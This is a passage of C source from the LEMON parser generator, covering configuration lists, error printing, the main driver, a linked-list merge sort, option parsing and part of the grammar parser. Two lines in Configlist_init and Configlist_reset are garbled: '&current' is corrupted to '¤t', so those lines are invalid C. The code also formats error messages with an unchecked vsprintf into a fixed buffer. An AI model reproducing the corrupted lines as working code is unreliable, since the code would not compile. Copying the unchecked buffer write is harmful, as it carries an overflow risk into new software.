** in the LEMON parser generator.
*/
static struct config *freelist = 0; /* List of free configurations */
static struct config *current = 0; /* Top of list of configurations */
static struct config **currentend = 0; /* Last on list of configs */
static struct config *basis = 0; /* Top of list of basis configs */
static struct config **basisend = 0; /* End of list of basis configs */
/* Return a pointer to a new configuration */
PRIVATE struct config *newconfig(){
struct config *new;
if( freelist==0 ){
int i;
int amt = 3;
freelist = (struct config *)malloc( sizeof(struct config)*amt );
if( freelist==0 ){
fprintf(stderr,"Unable to allocate memory for a new configuration.");
exit(1);
}
for(i=0; i<amt-1; i++) freelist[i].next = &freelist[i+1];
freelist[amt-1].next = 0;
}
new = freelist;
freelist = freelist->next;
return new;
}
/* The configuration "old" is no longer used */
PRIVATE void deleteconfig(old)
struct config *old;
{
old->next = freelist;
freelist = old;
}
/* Initialized the configuration list builder */
void Configlist_init(){
current = 0;
currentend = ¤t;
basis = 0;
basisend = &basis;
Configtable_init();
return;
}
/* Initialized the configuration list builder */
void Configlist_reset(){
current = 0;
currentend = ¤t;
basis = 0;
basisend = &basis;
Configtable_clear(0);
return;
}
/* Add another configuration to the configuration list */
struct config *Configlist_add(rp,dot)
struct rule *rp; /* The rule */
int dot; /* Index into the RHS of the rule where the dot goes */
{
struct config *cfp, model;
assert( currentend!=0 );
model.rp = rp;
model.dot = dot;
cfp = Configtable_find(&model);
if( cfp==0 ){
cfp = newconfig();
cfp->rp = rp;
cfp->dot = dot;
cfp->fws = SetNew();
cfp->stp = 0;
cfp->fplp = cfp->bplp = 0;
cfp->next = 0;
cfp->bp = 0;
*currentend = cfp;
currentend = &cfp->next;
Configtable_insert(cfp);
}
return cfp;
}
/* Add a basis configuration to the configuration list */
struct config *Configlist_addbasis(rp,dot)
struct rule *rp;
int dot;
{
struct config *cfp, model;
assert( basisend!=0 );
assert( currentend!=0 );
model.rp = rp;
model.dot = dot;
cfp = Configtable_find(&model);
if( cfp==0 ){
cfp = newconfig();
cfp->rp = rp;
cfp->dot = dot;
cfp->fws = SetNew();
cfp->stp = 0;
cfp->fplp = cfp->bplp = 0;
cfp->next = 0;
cfp->bp = 0;
*currentend = cfp;
currentend = &cfp->next;
*basisend = cfp;
basisend = &cfp->bp;
Configtable_insert(cfp);
}
return cfp;
}
/* Compute the closure of the configuration list */
void Configlist_closure(lemp)
struct lemon *lemp;
{
struct config *cfp, *newcfp;
struct rule *rp, *newrp;
struct symbol *sp, *xsp;
int i, dot;
assert( currentend!=0 );
for(cfp=current; cfp; cfp=cfp->next){
rp = cfp->rp;
dot = cfp->dot;
if( dot>=rp->nrhs ) continue;
sp = rp->rhs[dot];
if( sp->type==NONTERMINAL ){
if( sp->rule==0 && sp!=lemp->errsym ){
ErrorMsg(lemp->filename,rp->line,"Nonterminal \"%s\" has no rules.",
sp->name);
lemp->errorcnt++;
}
for(newrp=sp->rule; newrp; newrp=newrp->nextlhs){
newcfp = Configlist_add(newrp,0);
for(i=dot+1; i<rp->nrhs; i++){
xsp = rp->rhs[i];
if( xsp->type==TERMINAL ){
SetAdd(newcfp->fws,xsp->index);
break;
}else{
SetUnion(newcfp->fws,xsp->firstset);
if( xsp->lambda==B_FALSE ) break;
}
}
if( i==rp->nrhs ) Plink_add(&cfp->fplp,newcfp);
}
}
}
return;
}
/* Sort the configuration list */
void Configlist_sort(){
current = (struct config *)msort((char *)current,(char **)&(current->next),Configcmp);
currentend = 0;
return;
}
/* Sort the basis configuration list */
void Configlist_sortbasis(){
basis = (struct config *)msort((char *)current,(char **)&(current->bp),Configcmp);
basisend = 0;
return;
}
/* Return a pointer to the head of the configuration list and
** reset the list */
struct config *Configlist_return(){
struct config *old;
old = current;
current = 0;
currentend = 0;
return old;
}
/* Return a pointer to the head of the configuration list and
** reset the list */
struct config *Configlist_basis(){
struct config *old;
old = basis;
basis = 0;
basisend = 0;
return old;
}
/* Free all elements of the given configuration list */
void Configlist_eat(cfp)
struct config *cfp;
{
struct config *nextcfp;
for(; cfp; cfp=nextcfp){
nextcfp = cfp->next;
assert( cfp->fplp==0 );
assert( cfp->bplp==0 );
if( cfp->fws ) SetFree(cfp->fws);
deleteconfig(cfp);
}
return;
}
/***************** From the file "error.c" *********************************/
/*
** Code for printing error message.
*/
/* Find a good place to break "msg" so that its length is at least "min"
** but no more than "max". Make the point as close to max as possible.
*/
static int findbreak(msg,min,max)
char *msg;
int min;
int max;
{
int i,spot;
char c;
for(i=spot=min; i<=max; i++){
c = msg[i];
if( c=='\t' ) msg[i] = ' ';
if( c=='\n' ){ msg[i] = ' '; spot = i; break; }
if( c==0 ){ spot = i; break; }
if( c=='-' && i<max-1 ) spot = i+1;
if( c==' ' ) spot = i;
}
return spot;
}
/*
** The error message is split across multiple lines if necessary. The
** splits occur at a space, if there is a space available near the end
** of the line.
*/
#define ERRMSGSIZE 10000 /* Hope this is big enough. No way to error check */
#define LINEWIDTH 79 /* Max width of any output line */
#define PREFIXLIMIT 30 /* Max width of the prefix on each line */
void ErrorMsg(const char *filename, int lineno, const char *format, ...){
char errmsg[ERRMSGSIZE];
char prefix[PREFIXLIMIT+10];
int errmsgsize;
int prefixsize;
int availablewidth;
va_list ap;
int end, restart, base;
va_start(ap, format);
/* Prepare a prefix to be prepended to every output line */
if( lineno>0 ){
sprintf(prefix,"%.*s:%d: ",PREFIXLIMIT-10,filename,lineno);
}else{
sprintf(prefix,"%.*s: ",PREFIXLIMIT-10,filename);
}
prefixsize = strlen(prefix);
availablewidth = LINEWIDTH - prefixsize;
/* Generate the error message */
vsprintf(errmsg,format,ap);
va_end(ap);
errmsgsize = strlen(errmsg);
/* Remove trailing '\n's from the error message. */
while( errmsgsize>0 && errmsg[errmsgsize-1]=='\n' ){
errmsg[--errmsgsize] = 0;
}
/* Print the error message */
base = 0;
while( errmsg[base]!=0 ){
end = restart = findbreak(&errmsg[base],0,availablewidth);
restart += base;
while( errmsg[restart]==' ' ) restart++;
fprintf(stdout,"%s%.*s\n",prefix,end,&errmsg[base]);
base = restart;
}
}
/**************** From the file "main.c" ************************************/
/*
** Main program file for the LEMON parser generator.
*/
/* Report an out-of-memory condition and abort. This function
** is used mostly by the "MemoryCheck" macro in struct.h
*/
void memory_error(){
fprintf(stderr,"Out of memory. Aborting...\n");
exit(1);
}
static int nDefine = 0; /* Number of -D options on the command line */
static char **azDefine = 0; /* Name of the -D macros */
/* This routine is called with the argument to each -D command-line option.
** Add the macro defined to the azDefine array.
*/
static void handle_D_option(char *z){
char **paz;
nDefine++;
azDefine = realloc(azDefine, sizeof(azDefine[0])*nDefine);
if( azDefine==0 ){
fprintf(stderr,"out of memory\n");
exit(1);
}
paz = &azDefine[nDefine-1];
*paz = malloc( strlen(z)+1 );
if( *paz==0 ){
fprintf(stderr,"out of memory\n");
exit(1);
}
strcpy(*paz, z);
for(z=*paz; *z && *z!='='; z++){}
*z = 0;
}
/* The main program. Parse the command line and do it... */
int main(argc,argv)
int argc;
char **argv;
{
static int version = 0;
static int rpflag = 0;
static int basisflag = 0;
static int compress = 0;
static int quiet = 0;
static int statistics = 0;
static int mhflag = 0;
static struct s_options options[] = {
{OPT_FLAG, "b", (char*)&basisflag, "Print only the basis in report."},
{OPT_FLAG, "c", (char*)&compress, "Don't compress the action table."},
{OPT_FSTR, "D", (char*)handle_D_option, "Define an %ifdef macro."},
{OPT_FLAG, "g", (char*)&rpflag, "Print grammar without actions."},
{OPT_FLAG, "m", (char*)&mhflag, "Output a makeheaders compatible file"},
{OPT_FLAG, "q", (char*)&quiet, "(Quiet) Don't print the report file."},
{OPT_FLAG, "s", (char*)&statistics,
"Print parser stats to standard output."},
{OPT_FLAG, "x", (char*)&version, "Print the version number."},
{OPT_FLAG,0,0,0}
};
int i;
struct lemon lem;
OptInit(argv,options,stderr);
if( version ){
printf("Lemon version 1.0\n");
exit(0);
}
if( OptNArgs()!=1 ){
fprintf(stderr,"Exactly one filename argument is required.\n");
exit(1);
}
lem.errorcnt = 0;
/* Initialize the machine */
Strsafe_init();
Symbol_init();
State_init();
lem.argv0 = argv[0];
lem.filename = OptArg(0);
lem.basisflag = basisflag;
lem.has_fallback = 0;
lem.nconflict = 0;
lem.name = lem.include = lem.arg = lem.tokentype = lem.start = 0;
lem.vartype = 0;
lem.stacksize = 0;
lem.error = lem.overflow = lem.failure = lem.accept = lem.tokendest =
lem.tokenprefix = lem.outname = lem.extracode = 0;
lem.vardest = 0;
lem.tablesize = 0;
Symbol_new("$");
lem.errsym = Symbol_new("error");
/* Parse the input file */
Parse(&lem);
if( lem.errorcnt ) exit(lem.errorcnt);
if( lem.rule==0 ){
fprintf(stderr,"Empty grammar.\n");
exit(1);
}
/* Count and index the symbols of the grammar */
lem.nsymbol = Symbol_count();
Symbol_new("{default}");
lem.symbols = Symbol_arrayof();
for(i=0; i<=lem.nsymbol; i++) lem.symbols[i]->index = i;
qsort(lem.symbols,lem.nsymbol+1,sizeof(struct symbol*),
(int(*)())Symbolcmpp);
for(i=0; i<=lem.nsymbol; i++) lem.symbols[i]->index = i;
for(i=1; isupper(lem.symbols[i]->name[0]); i++);
lem.nterminal = i;
/* Generate a reprint of the grammar, if requested on the command line */
if( rpflag ){
Reprint(&lem);
}else{
/* Initialize the size for all follow and first sets */
SetSize(lem.nterminal);
/* Find the precedence for every production rule (that has one) */
FindRulePrecedences(&lem);
/* Compute the lambda-nonterminals and the first-sets for every
** nonterminal */
FindFirstSets(&lem);
/* Compute all LR(0) states. Also record follow-set propagation
** links so that the follow-set can be computed later */
lem.nstate = 0;
FindStates(&lem);
lem.sorted = State_arrayof();
/* Tie up loose ends on the propagation links */
FindLinks(&lem);
/* Compute the follow set of every reducible configuration */
FindFollowSets(&lem);
/* Compute the action tables */
FindActions(&lem);
/* Compress the action tables */
if( compress==0 ) CompressTables(&lem);
/* Generate a report of the parser generated. (the "y.output" file) */
if( !quiet ) ReportOutput(&lem);
/* Generate the source code for the parser */
ReportTable(&lem, mhflag);
/* Produce a header file for use by the scanner. (This step is
** omitted if the "-m" option is used because makeheaders will
** generate the file for us.) */
if( !mhflag ) ReportHeader(&lem);
}
if( statistics ){
printf("Parser statistics: %d terminals, %d nonterminals, %d rules\n",
lem.nterminal, lem.nsymbol - lem.nterminal, lem.nrule);
printf(" %d states, %d parser table entries, %d conflicts\n",
lem.nstate, lem.tablesize, lem.nconflict);
}
if( lem.nconflict ){
fprintf(stderr,"%d parsing conflicts.\n",lem.nconflict);
}
exit(lem.errorcnt + lem.nconflict);
return (lem.errorcnt + lem.nconflict);
}
/******************** From the file "msort.c" *******************************/
/*
** A generic merge-sort program.
**
** USAGE:
** Let "ptr" be a pointer to some structure which is at the head of
** a null-terminated list. Then to sort the list call:
**
** ptr = msort(ptr,&(ptr->next),cmpfnc);
**
** In the above, "cmpfnc" is a pointer to a function which compares
** two instances of the structure and returns an integer, as in
** strcmp. The second argument is a pointer to the pointer to the
** second element of the linked list. This address is used to compute
** the offset to the "next" field within the structure. The offset to
** the "next" field must be constant for all structures in the list.
**
** The function returns a new pointer which is the head of the list
** after sorting.
**
** ALGORITHM:
** Merge-sort.
*/
/*
** Return a pointer to the next structure in the linked list.
*/
#define NEXT(A) (*(char**)(((unsigned long)A)+offset))
/*
** Inputs:
** a: A sorted, null-terminated linked list. (May be null).
** b: A sorted, null-terminated linked list. (May be null).
** cmp: A pointer to the comparison function.
** offset: Offset in the structure to the "next" field.
**
** Return Value:
** A pointer to the head of a sorted list containing the elements
** of both a and b.
**
** Side effects:
** The "next" pointers for elements in the lists a and b are
** changed.
*/
static char *merge(a,b,cmp,offset)
char *a;
char *b;
int (*cmp)();
int offset;
{
char *ptr, *head;
if( a==0 ){
head = b;
}else if( b==0 ){
head = a;
}else{
if( (*cmp)(a,b)<0 ){
ptr = a;
a = NEXT(a);
}else{
ptr = b;
b = NEXT(b);
}
head = ptr;
while( a && b ){
if( (*cmp)(a,b)<0 ){
NEXT(ptr) = a;
ptr = a;
a = NEXT(a);
}else{
NEXT(ptr) = b;
ptr = b;
b = NEXT(b);
}
}
if( a ) NEXT(ptr) = a;
else NEXT(ptr) = b;
}
return head;
}
/*
** Inputs:
** list: Pointer to a singly-linked list of structures.
** next: Pointer to pointer to the second element of the list.
** cmp: A comparison function.
**
** Return Value:
** A pointer to the head of a sorted list containing the elements
** orginally in list.
**
** Side effects:
** The "next" pointers for elements in list are changed.
*/
#define LISTSIZE 30
char *msort(list,next,cmp)
char *list;
char **next;
int (*cmp)();
{
unsigned long offset;
char *ep;
char *set[LISTSIZE];
int i;
offset = (unsigned long)next - (unsigned long)list;
for(i=0; i<LISTSIZE; i++) set[i] = 0;
while( list ){
ep = list;
list = NEXT(list);
NEXT(ep) = 0;
for(i=0; i<LISTSIZE-1 && set[i]!=0; i++){
ep = merge(ep,set[i],cmp,offset);
set[i] = 0;
}
set[i] = ep;
}
ep = 0;
for(i=0; i<LISTSIZE; i++) if( set[i] ) ep = merge(ep,set[i],cmp,offset);
return ep;
}
/************************ From the file "option.c" **************************/
static char **argv;
static struct s_options *op;
static FILE *errstream;
#define ISOPT(X) ((X)[0]=='-'||(X)[0]=='+'||strchr((X),'=')!=0)
/*
** Print the command line with a carrot pointing to the k-th character
** of the n-th field.
*/
static void errline(n,k,err)
int n;
int k;
FILE *err;
{
int spcnt, i;
spcnt = 0;
if( argv[0] ) fprintf(err,"%s",argv[0]);
spcnt = strlen(argv[0]) + 1;
for(i=1; i<n && argv[i]; i++){
fprintf(err," %s",argv[i]);
spcnt += strlen(argv[i]+1);
}
spcnt += k;
for(; argv[i]; i++) fprintf(err," %s",argv[i]);
if( spcnt<20 ){
fprintf(err,"\n%*s^-- here\n",spcnt,"");
}else{
fprintf(err,"\n%*shere --^\n",spcnt-7,"");
}
}
/*
** Return the index of the N-th non-switch argument. Return -1
** if N is out of range.
*/
static int argindex(n)
int n;
{
int i;
int dashdash = 0;
if( argv!=0 && *argv!=0 ){
for(i=1; argv[i]; i++){
if( dashdash || !ISOPT(argv[i]) ){
if( n==0 ) return i;
n--;
}
if( strcmp(argv[i],"--")==0 ) dashdash = 1;
}
}
return -1;
}
static char emsg[] = "Command line syntax error: ";
/*
** Process a flag command line argument.
*/
static int handleflags(i,err)
int i;
FILE *err;
{
int v;
int errcnt = 0;
int j;
for(j=0; op[j].label; j++){
if( strncmp(&argv[i][1],op[j].label,strlen(op[j].label))==0 ) break;
}
v = argv[i][0]=='-' ? 1 : 0;
if( op[j].label==0 ){
if( err ){
fprintf(err,"%sundefined option.\n",emsg);
errline(i,1,err);
}
errcnt++;
}else if( op[j].type==OPT_FLAG ){
*((int*)op[j].arg) = v;
}else if( op[j].type==OPT_FFLAG ){
(*(void(*)())(op[j].arg))(v);
}else if( op[j].type==OPT_FSTR ){
(*(void(*)())(op[j].arg))(&argv[i][2]);
}else{
if( err ){
fprintf(err,"%smissing argument on switch.\n",emsg);
errline(i,1,err);
}
errcnt++;
}
return errcnt;
}
/*
** Process a command line switch which has an argument.
*/
static int handleswitch(i,err)
int i;
FILE *err;
{
int lv = 0;
double dv = 0.0;
char *sv = 0, *end;
char *cp;
int j;
int errcnt = 0;
cp = strchr(argv[i],'=');
*cp = 0;
for(j=0; op[j].label; j++){
if( strcmp(argv[i],op[j].label)==0 ) break;
}
*cp = '=';
if( op[j].label==0 ){
if( err ){
fprintf(err,"%sundefined option.\n",emsg);
errline(i,0,err);
}
errcnt++;
}else{
cp++;
switch( op[j].type ){
case OPT_FLAG:
case OPT_FFLAG:
if( err ){
fprintf(err,"%soption requires an argument.\n",emsg);
errline(i,0,err);
}
errcnt++;
break;
case OPT_DBL:
case OPT_FDBL:
dv = strtod(cp,&end);
if( *end ){
if( err ){
fprintf(err,"%sillegal character in floating-point argument.\n",emsg);
errline(i,((unsigned long)end)-(unsigned long)argv[i],err);
}
errcnt++;
}
break;
case OPT_INT:
case OPT_FINT:
lv = strtol(cp,&end,0);
if( *end ){
if( err ){
fprintf(err,"%sillegal character in integer argument.\n",emsg);
errline(i,((unsigned long)end)-(unsigned long)argv[i],err);
}
errcnt++;
}
break;
case OPT_STR:
case OPT_FSTR:
sv = cp;
break;
}
switch( op[j].type ){
case OPT_FLAG:
case OPT_FFLAG:
break;
case OPT_DBL:
*(double*)(op[j].arg) = dv;
break;
case OPT_FDBL:
(*(void(*)())(op[j].arg))(dv);
break;
case OPT_INT:
*(int*)(op[j].arg) = lv;
break;
case OPT_FINT:
(*(void(*)())(op[j].arg))((int)lv);
break;
case OPT_STR:
*(char**)(op[j].arg) = sv;
break;
case OPT_FSTR:
(*(void(*)())(op[j].arg))(sv);
break;
}
}
return errcnt;
}
int OptInit(a,o,err)
char **a;
struct s_options *o;
FILE *err;
{
int errcnt = 0;
argv = a;
op = o;
errstream = err;
if( argv && *argv && op ){
int i;
for(i=1; argv[i]; i++){
if( argv[i][0]=='+' || argv[i][0]=='-' ){
errcnt += handleflags(i,err);
}else if( strchr(argv[i],'=') ){
errcnt += handleswitch(i,err);
}
}
}
if( errcnt>0 ){
fprintf(err,"Valid command line options for \"%s\" are:\n",*a);
OptPrint();
exit(1);
}
return 0;
}
int OptNArgs(){
int cnt = 0;
int dashdash = 0;
int i;
if( argv!=0 && argv[0]!=0 ){
for(i=1; argv[i]; i++){
if( dashdash || !ISOPT(argv[i]) ) cnt++;
if( strcmp(argv[i],"--")==0 ) dashdash = 1;
}
}
return cnt;
}
char *OptArg(n)
int n;
{
int i;
i = argindex(n);
return i>=0 ? argv[i] : 0;
}
void OptErr(n)
int n;
{
int i;
i = argindex(n);
if( i>=0 ) errline(i,0,errstream);
}
void OptPrint(){
int i;
int max, len;
max = 0;
for(i=0; op[i].label; i++){
len = strlen(op[i].label) + 1;
switch( op[i].type ){
case OPT_FLAG:
case OPT_FFLAG:
break;
case OPT_INT:
case OPT_FINT:
len += 9; /* length of "<integer>" */
break;
case OPT_DBL:
case OPT_FDBL:
len += 6; /* length of "<real>" */
break;
case OPT_STR:
case OPT_FSTR:
len += 8; /* length of "<string>" */
break;
}
if( len>max ) max = len;
}
for(i=0; op[i].label; i++){
switch( op[i].type ){
case OPT_FLAG:
case OPT_FFLAG:
fprintf(errstream," -%-*s %s\n",max,op[i].label,op[i].message);
break;
case OPT_INT:
case OPT_FINT:
fprintf(errstream," %s=<integer>%*s %s\n",op[i].label,
(int)(max-strlen(op[i].label)-9),"",op[i].message);
break;
case OPT_DBL:
case OPT_FDBL:
fprintf(errstream," %s=<real>%*s %s\n",op[i].label,
(int)(max-strlen(op[i].label)-6),"",op[i].message);
break;
case OPT_STR:
case OPT_FSTR:
fprintf(errstream," %s=<string>%*s %s\n",op[i].label,
(int)(max-strlen(op[i].label)-8),"",op[i].message);
break;
}
}
}
/*********************** From the file "parse.c" ****************************/
/*
** Input file parser for the LEMON parser generator.
*/
/* The state of the parser */
struct pstate {
char *filename; /* Name of the input file */
int tokenlineno; /* Linenumber at which current token starts */
int errorcnt; /* Number of errors so far */
char *tokenstart; /* Text of current token */
struct lemon *gp; /* Global state vector */
enum e_state {
INITIALIZE,
WAITING_FOR_DECL_OR_RULE,
WAITING_FOR_DECL_KEYWORD,
WAITING_FOR_DECL_ARG,
WAITING_FOR_PRECEDENCE_SYMBOL,
WAITING_FOR_ARROW,
IN_RHS,
LHS_ALIAS_1,
LHS_ALIAS_2,
LHS_ALIAS_3,
RHS_ALIAS_1,
RHS_ALIAS_2,
PRECEDENCE_MARK_1,
PRECEDENCE_MARK_2,
RESYNC_AFTER_RULE_ERROR,
RESYNC_AFTER_DECL_ERROR,
WAITING_FOR_DESTRUCTOR_SYMBOL,
WAITING_FOR_DATATYPE_SYMBOL,
WAITING_FOR_FALLBACK_ID
} state; /* The state of the parser */
struct symbol *fallback; /* The fallback token */
struct symbol *lhs; /* Left-hand side of current rule */
char *lhsalias; /* Alias for the LHS */
int nrhs; /* Number of right-hand side symbols seen */
struct symbol *rhs[MAXRHS]; /* RHS symbols */
char *alias[MAXRHS]; /* Aliases for each RHS symbol (or NULL) */
struct rule *prevrule; /* Previous rule parsed */
char *declkeyword; /* Keyword of a declaration */
char **declargslot; /* Where the declaration argument should be put */
int *decllnslot; /* Where the declaration linenumber is put */
enum e_assoc declassoc; /* Assign this association to decl arguments */
int preccounter; /* Assign this precedence to decl arguments */
struct rule *firstrule; /* Pointer to first rule in the grammar */
struct rule *lastrule; /* Pointer to the most recently parsed rule */
};
/* Parse a single token */
static void parseonetoken(psp)
struct pstate *psp;
{
char *x;
x = Strsafe(psp->tokenstart); /* Save the token permanently */
#if 0
printf("%s:%d: Token=[%s] state=%d\n",psp->filename,psp->tokenlineno,
x,psp->state);
#endif
switch( psp->state ){
case INITIALIZE:
psp->prevrule = 0;
psp->preccounter = 0;
psp->firstrule = psp->lastrule = 0;
psp->gp->nrule = 0;
/* Fall thru to next case */
case WAITING_FOR_DECL_OR_RULE:
if( x[0]=='%' ){
psp->state = WAITING_FOR_DECL_KEYWORD;
}else if( islower(x[0]) ){
psp->lhs = Symbol_new(x);
psp->nrhs = 0;
psp->lhsalias = 0;
psp->state = WAITING_FOR_ARROW;
}else if( x[0]=='{' ){
if( psp->prevrule==0 ){
ErrorMsg(psp->filename,psp->tokenlineno,
"There is not prior rule opon which to attach the code \
fragment which begins on this line.");
psp->errorcnt++;
}else if( psp->prevrule->code!=0 ){
ErrorMsg(psp->filename,psp->tokenlineno,
"Code fragment beginning on this line is not the first \
to follow the previous rule.");
psp->errorcnt++;
}else{
psp->prevrule->line = psp->tokenlineno;
psp->prevrule->code = &x[1];
}
}else if( x[0]=='[' ){
psp->state = PRECEDENCE_MARK_1;
}else{
ErrorMsg(psp->filename,psp->tokenlineno,
"Token \"%s\" should be either \"%%\" or a nonterminal name.",
x);
psp->errorcnt++;
}
break;
case PRECEDENCE_MARK_1:
if( !isupper(x[0]) ){
ErrorMsg(psp->filename,psp->tokenlineno,
"The precedence symbol must be a terminal.");
psp->errorcnt++;
}else if( psp->prevrule==0 ){
ErrorMsg(psp->filename,psp->tokenlineno,
"There is no prior rule to assign precedence \"[%s]\".",x);
psp->errorcnt++;
}else if( psp->prevrule->precsym!=0 ){
ErrorMsg(psp->filename,psp->tokenlineno,
"Precedence mark on this line is not the first \
to follow the previous rule.");
psp->errorcnt++;
}else{
psp->prevrule->precsym = Symbol_new(x);
}
psp->state = PRECEDENCE_MARK_2;
break;
case PRECEDENCE_MARK_2:
if( x[0]!=']' ){
ErrorMsg(psp->filename,psp->tokenlineno,
"Missing \"]\" on precedence mark.");
psp->errorcnt++;
}
psp->state = WAITING_FOR_DECL_OR_RULE;
break;
case WAITING_FOR_ARROW:
if( x[0]==':' && x[1]==':' && x[2]=='=' ){
psp->state = IN_RHS;
}else if( x[0]=='(' ){
psp->state = LHS_ALIAS_1;
}else{
ErrorMsg(psp->filename,psp->tokenlineno,
"Expected to see a \":\" following the LHS symbol \"%s\".",
psp->lhs->name);
psp->errorcnt++;
psp->state = RESYNC_AFTER_RULE_ERROR;
}
break;
case LHS_ALIAS_1:
if( isalpha(x[0]) ){
psp->lhsalias = x;
psp->state = LHS_ALIAS_2;
}else{
ErrorMsg(psp->filename,psp->tokenlineno,
"\"%s\" is not a valid alias for the LHS \"%s\"\n",
x,psp->lhs->name);
psp->errorcnt++;
psp->state = RESYNC_AFTER_RULE_ERROR;
}
break;
case LHS_ALIAS_2:
if( x[0]==')' ){
psp->state = LHS_ALIAS_3;
}else{
ErrorMsg(psp->filename,psp->tokenlineno,
"Missing \")\" following LHS alias name \"%s\".",psp->lhsalias);
psp->errorcnt++;
psp->state = RESYNC_AFTER_RULE_ERROR;
}
break;
case LHS_ALIAS_3:
if( x[0]==':' && x[1]==':' && x[2]=='=' ){
psp->state = IN_RHS;
}else{
ErrorMsg(psp->filename,psp->tokenlineno,
"Missing \"->\" following: \"%s(%s)\".",
psp->lhs->name,psp->lhsalias);
psp->errorcnt++;
psp->state = RESYNC_AFTER_RULE_ERROR;
}
break;
case IN_RHS:
if( x[0]=='.' ){
struct rule *rp;
rp = (struct rule *)malloc( sizeof(struct rule) +
sizeof(struct symbol*)*psp->nrhs + sizeof(char*)*psp->nrhs );
if( rp==0 ){
ErrorMsg(psp->filename,psp->tokenlineno,
"Can't allocate enough memory for this rule.");
psp->errorcnt++;
psp->prevrule = 0;
}else{
int i;
rp->ruleline = psp->tokenlineno;
rp->rhs = (struct symbol**)&rp[1];
rp->rhsalias = (char**)&(rp->rhs[psp->nrhs]);
for(i=0; i<psp->nrhs; i++){
rp->rhs[i] = psp->rhs[i];
rp->rhsalias[i] = psp->alias[i];
}
rp->lhs = psp->lhs;
rp->lhsalias = psp->lhsalias;
rp->nrhs = psp->nrhs;
rp->code = 0;
rp->precsym = 0;
rp->index = psp->gp->nrule++;
rp->nextlhs = rp->lhs->rule;
rp->lhs->rule = rp;
rp->next = 0;
if( psp->firstrule==0 ){
psp->firstrule = psp->lastrule = rp;
}else{
psp->lastrule->next = rp;
psp->lastrule = rp;
}
psp->prevrule = rp;
}
psp->state = WAITING_FOR_DECL_OR_RULE;
}else if( isalpha(x[0]) ){
if( psp->nrhs>=MAXRHS ){
ErrorMsg(psp->filename,psp->tokenlineno,
"Too many symbol on RHS or rule beginning at \"%s\".",
x);
psp->errorcnt++;
psp->state = RESYNC_AFTER_RULE_ERROR;
}else{
psp->rhs[psp->nrhs] = Symbol_new(x);
psp->alias[psp->nrhs] = 0;
psp->nrhs++;
}
}else if( x[0]=='(' && psp->nrhs>0 ){
psp->state = RHS_ALIAS_1;
}else{
ErrorMsg(psp->filename,psp->tokenlineno,
"Illegal character on RHS of rule: \"%s\".",x);
psp->errorcnt++;
psp->state = RESYNC_AFTER_RULE_ERROR;
}
break;
case RHS_ALIAS_1:
if( isalpha(x[0]) ){
psp->alias[psp->nrhs-1] = x;
psp->state = RHS_ALIAS_2;
}else{
ErrorMsg(psp->filename,psp->tokenlineno,
"\"%s\" is not a valid alias for the RHS symbol \"%s\"\n",
x,psp->rhs[psp->nrhs-1]->name);
psp->errorcnt++;
psp->state = RESYNC_AFTER_RULE_ERROR;
}
break;
case RHS_ALIAS_2:
if( x[0]==')' ){
psp->state = IN_RHS;
}else{
ErrorMsg(psp->filename,psp->tokenlineno,
"Missing \")\" following LHS alias name \"%s\".",psp->lhsalias);
psp->errorcnt++;
psp->state = RESYNC_AFTER_RULE_ERROR;
}
break;
case WAITING_FOR_DECL_KEYWORD:
if( isalpha(x[0]) ){
psp->declkeyword = x;
psp->declargslot = 0;
psp->decllnslot = 0;
psp->state = WAITING_FOR_DECL_ARG;
if( strcmp(x,"name")==0 ){
psp->declargslot = &(psp->gp->name);
}else if( strcmp(x,"include")==0 ){
psp->declargslot = &(psp->gp->include);
psp->decllnslot = &psp->gp->includeln;
}else if( strcmp(x,"code")==0 ){
psp->declargslot = &(psp->gp->extracode);
psp->decllnslot = &psp->gp->extracodeln;
}else if( strcmp(x,"token_destructor")==0 ){
psp->declargslot = &psp->gp->tokendest;
psp->decllnslot = &psp->gp->tokendestln;
}else if( strcmp(x,"default_destructor")==0 ){
psp->declargslot = &psp->gp->vardest;
psp->decllnslot = &psp->gp->vardestln;
}else if( strcmp(x,"token_prefix")==0 ){
psp->declargslot = &psp->gp->tokenprefix;
}else if( strcmp(x,"syntax_error")==0 ){
psp->declargslot = &(psp->gp->error);
psp->decllnslot = &psp->gp->errorln;
}else if( strcmp(x,"parse_accept")==0 ){
psp->declargslot = &(psp->gp->accept);
psp->decllnslot = &psp->gp->acceptln;
}else if( strcmp(x,"parse_failure")==0 ){
psp->declargslot = &(psp->gp->failure);
psp->decllnslot = &psp->gp->failureln;
}else if( strcmp(x,"stack_overflow")==0 ){
psp->declargslot = &(psp->gp->overflow);
psp->decllnslot = &psp->gp->overflowln;
}else if( strcmp(x,"extra_argument")==0 ){
psp->declargslot = &(psp->gp->arg);
}else if( strcmp(x,"token_type")==0 ){
psp->declargslot = &(psp->gp->tokentype);
}else if( strcmp(x,"default_type")==0 ){
psp->declargslot = &(psp->gp->vartype);
}else if( strcmp(x,"stack_size")==0 ){
psp->declargslot = &(psp->gp->stacksize);
}else if( strcmp(x,"start_symbol")==0 ){
psp->declargslot = &(psp->gp->start);
}else if( strcmp(x,"left")==0 ){
psp->preccounter++;
psp->declassoc = LEFT;
psp->state = WAITING_FOR_PRECEDENCE_SYMBOL;
}else if( strcmp(x,"right")==0 ){
psp->preccounter++;
psp->declassoc = RIGHT;
psp->state = WAITING_FOR_PRECEDENCE_SYMBOL;
}else if( strcmp(x,"nonassoc")==0 ){
psp->preccounter++;
psp->declassoc = NONE;
psp->state = WAITING_FOR_PRECEDENCE_SYMBOL;
}else if( strcmp(x,"destructor")==0 ){
psp->state = WAITING_FOR_DESTRUCTOR_SYMBOL;
}else if( strcmp(x,"type")==0 ){
psp->state = WAITING_FOR_DATATYPE_SYMBOL;
}else if( strcmp(x,"fallback")==0 ){
psp->fallback = 0;
psp->state = WAITING_FOR_FALLBACK_ID;
}else{
ErrorMsg(psp->filename,psp->tokenlineno,
"Unknown declaration keyword: \"%%%s\".",x);
psp->errorcnt++;
psp->state = RESYNC_AFTER_DECL_ERROR;
}
}else{
ErrorMsg(psp->filename,psp->tokenlineno,
"Illegal declaration keyword: \"%s\".",x);
psp->errorcnt++;
psp->state = RESYNC_AFTER_DECL_ERROR;
}
break;
case WAITING_FOR_DESTRUCTOR_SYMBOL:
if( !isalpha(x[0]) ){
ErrorMsg(psp->filename,psp->tokenlineno,
"Symbol name missing after %destructor keyword");
psp->errorcnt++;
psp->state = RESYNC_AFTER_DECL_ERROR;
}else{
struct symbol *sp = Symbol_new(x);
psp->declargslot = &sp->destructor;
psp->decllnslot = &sp->destructorln;
psp->state = WAITING_FOR_DECL_ARG;
}
break;
case WAITING_FOR_DATATYPE_SYMBOL:
